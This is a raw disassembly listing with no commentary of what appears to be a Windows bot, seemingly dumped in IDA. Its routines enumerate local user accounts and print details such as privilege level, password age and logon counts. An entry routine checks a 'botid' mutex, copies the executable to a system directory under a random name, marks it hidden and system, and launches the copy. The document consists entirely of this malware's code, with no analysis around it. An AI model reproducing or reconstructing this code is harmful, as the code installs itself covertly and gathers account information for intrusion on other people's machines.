		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi

loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43AE28

loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax

loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84

loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43F668
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43F668
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43F668
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43AC7C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43AC6C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43ADF0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"

loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172B0
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------

loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h

loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43AE28

loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43AD00
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452

loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch

loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43AE28
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43AE28

loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF

loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_43F408
		call	sub_4172B0
		pop	ecx
		mov	eax, offset dword_43F408
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43ADA8
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_43F204
		push	offset dword_42F568
		push	esi
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------

loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_43F204
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172B0
		add	esp, 14h

loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40D3A5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CD5F0, eax
		call	esi
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43AE44
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		nop
		call	near ptr 27D0330h
		push	eax
		nop
		call	near ptr 2650248h
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		nop
		call	near ptr 77E75CB5h

loc_40E726:				; CODE XREF: ___:0040E71Cj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_43AD10
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40EB89
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2620000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2720B21h
		nop
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F674
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824

loc_40E801:				; CODE XREF: ___:0040E822j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F674[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801

loc_40E824:				; CODE XREF: ___:0040E7F1j
					; ___:0040E7FFj
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2690000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 277107Bh
		nop

loc_40E864:				; CODE XREF: ___:0040E850j
		mov	esi, dword_424160
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_40E87B:				; CODE XREF: ___:0040E8B2j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		nop
		call	near ptr 265031Fh
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4

loc_40E895:				; CODE XREF: ___:0040E88Ej
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2610F41h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------

loc_40E8B4:				; CODE XREF: ___:0040E87Fj
					; ___:0040E889j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 277107Bh
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_436EDC
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		nop
		call	near ptr 27C0CD5h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2720561h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_42F7EC
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2760575h
		test	eax, eax
		jz	short loc_40E98C
